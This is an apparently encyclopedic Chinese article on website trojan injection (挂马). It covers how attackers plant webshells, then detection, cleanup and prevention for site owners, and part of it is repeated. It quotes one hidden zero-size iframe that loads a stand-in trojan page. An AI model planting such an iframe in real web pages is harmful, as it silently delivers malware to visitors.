挂马

出自 MBA智库百科(https://wiki.mbalib.com/)

　　挂马，就是黑客通过各种手段，包括SQL注入，网站敏感文件扫描，服务器漏洞，网站程序0day, 等各种方法获得网站管理员账号，然后登陆网站后台，通过数据库“备份/恢复”或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容，向页面中加入恶意转向代码。也可以直接通过弱口令获得服务器或者网站FTP，然后直接对网站页面直接进行修改。当你访问被加入恶意代码的页面时，你就会自动的访问被转向的地址或者下载木马病毒。

　　很多游戏网站被挂马，黑客目的就是盗取浏览该网站玩家的游戏账号，而那些大型网站被挂马，则是为了搜集大量的肉鸡。网站被挂马不仅会让自己的网站失去信誉，丢失大量客户，也会让我们这些普通用户陷入黑客设下的陷阱，沦为黑客的肉鸡。

　　如果不小心进入了已被挂马的网站，则会感染木马病毒，以致丢失大量的宝贵文件资料和账号密码，其危害极大。

　　分辨

　　其实我们说的所谓的挂马一般就是在那些可编辑文件下或是头部加入一段代码来实现跳转到别的网站访问那个他们指定的HTML网页木马的然后通过你电脑本身的漏洞攻破你的系统给你下载一个下载者，然后那下载者设定多少时间后开始在指定地点隐藏下载木马并运行！所以说我们只要把那段代码给清理掉了就达到了清理挂马的作用了！所以我们首先要辨别是不是自己的站是不是被挂马！你如果打开网站发现很卡但是杀毒软件没报警别以为没事了，很多马很有可能做了免杀处理所以杀软没反映！我们打开网站点查看源代码如果顶部或是底下出现了这样的代码就恭喜你中标了！比如：

　　<iframe src=http: //www.baidu/muma.html width=0 height=0></iframe>

　　我想学做站的人都知道这行代码的意思吧？就是插入一个长和高都是0框架运行

　　http: //www.baidu/muma.html这个页面！但是因为框架的长和高都是零你就没办法看到那个窗口了！但是如果你没在顶部和底部发现这些代码就以为没事了，有的人还会在中间插入，只是在底部和顶部绝对不会影响到网站的整体结构不用想那么多！但是如果那个挂马的人稍微耐心一点多测试一下在网站代码的中间还是很容易的！所以如果你代码太多嫌找着麻烦的话你就可以直接在IE浏览器里点查看--隐私里看到底有没有外连到别的站上去的站！有的话那很有可能被挂马了！（PS：如果你的站采集了的别人的图片的话在隐私里会有连到别人那的哦，或是统计代码也是，所以这要自己分析，哪些是正常的，哪些不是）

　　一般来说，服务器或者网站被植入病毒代码有以下三种原因：网站代码、入侵导致、病毒导致。

　　网站代码

　　如果服务器上大部分用户的网站都正常，只有少量用户网站被黑，那么就很可能是少量用户网站被黑的网站代码有问题，存在安全漏洞造成的。造成这个问题是没有办法解决，也不是服务商的责任。

　　大家都知道，“虚拟主机提供商”对自己的每个虚拟主机用户都分配了FSO文件操作的权限，他们通过您分配的合法权限，可以任意改动和上传的任何文件。如果用户没有保护好您分配给他们的合法权限，令黑客有机可乘，那么，黑客就可以利用合法权限对网站进行破坏了，但是大部分用户都认为这个黑客入侵不是他自己造成的，是服务商造成的，这实际上是冤枉了服务商。

　　入侵导致

　　当服务器上所有网站都被植入了病毒代码，并且可以在源文件的尾部或头部找到病毒代码文件，或者在IIS里面被植入了添加脚本，就标明是由于服务器被入侵导致的。 病毒导致

　　当服务器上所有网站都被植入了病毒代码，并且在源文件的尾部或头部无法找到病毒代码文件，就表明服务器所在的机房中了ARP病毒。这时需要联系我们来解决，一般情况下，机房会有大量服务器中毒，会有很多客户向机房反应，一般在半小时内机房就会处理的。一般来说，服务器或者网站被植入病毒代码有以下三种原因：网站代码、入侵导致、病毒导致 网站代码

　　如果服务器上大部分用户的网站都正常，只有少量用户网站被黑，那么就很可能是少量用户网站被黑的网站代码有问题，存在安全漏洞造成的。造成这个问题是没有办法解决，也不是服务商的责任。 　　大家都知道，“虚拟主机提供商”对自己的每个虚拟主机用户都分配了FSO文件操作的权限，他们通过您分配的合法权限，可以任意改动和上传的任何文件。如果用户没有保护好您分配给他们的合法权限，令黑客有机可乘，那么，黑客就可以利用合法权限对网站进行破坏了，但是大部分用户都认为这个黑客入侵不是他自己造成的，是服务商造成的，这实际上是冤枉了服务商。 入侵导致

　　当服务器上所有网站都被植入了病毒代码，并且可以在源文件的尾部或头部找到病毒代码文件，或者在IIS里面被植入了添加脚本，就标明是由于服务器被入侵导致的。 病毒导致

　　当服务器上所有网站都被植入了病毒代码，并且在源文件的尾部或头部无法找到病毒代码文件，就表明服务器所在的机房中了ARP病毒。这时需要联系我们来解决，一般情况下，机房会有大量服务器中毒，会有很多客户向机房反应，一般在半小时内机房就会处理的。

　　恢复

　　恢复措施：1.整站被挂马，最快速的恢复方法是，除开数据库、上传目录之外，替换掉其他所有文件；

　　2.仔细检查网站上传目录存放的文件，很多木马伪装成图片保存在上传目录，你直接把上传文件夹下载到本地，用缩略图的形式，查看是不是图片，如果不显示，则一律删除；

　　3.数据库里面存在木马，则把数据库的木马代码清除！可以采用查找替换；

　　4.如果网站源文件没有，则需要FTP下载网站文件，然后再DW里面，用替换清除的方式一个个清除，注意网站的木马数，如果被挂了很多不同的，必须多多检查！

　　预防

　　措施 ：

　　1、建议用户通过ftp来上传、维护网页，尽量不安装asp的上传程序。

　　2、对asp上传程序的调用一定要进行身份认证，并只允许信任的人使用上传程序。

　　这其中包括各种新闻发布、商城及论坛程序，只要可以上传文件的asp都要进行身份认证!

　　3、asp程序管理员的用户名和密码要有一定复杂性，不能过于简单，还要注意定期更换。

　　4、到正规网站下载asp程序，下载后要对其数据库名称和存放路径进行修改，数据库文件名称也要有一定复杂性。

　　5、要尽量保持程序是最新版本。

　　6、不要在网页上加注后台管理程序登陆页面的链接。

　　7、为防止程序有未知漏洞，可以在维护后删除后台管理程序的登陆页面，下次维护时再通过ftp上传即可。

　　8、要时常备份数据库等重要文件。

　　9、日常要多维护，并注意空间中是否有来历不明的asp文件。记住：一分汗水，换一分安全!

　　10、一旦发现被入侵，除非自己能识别出所有木马文件，否则要删除所有文件。

　　11、定期对网站进行安全的检测，具体可以利用网上一些工具。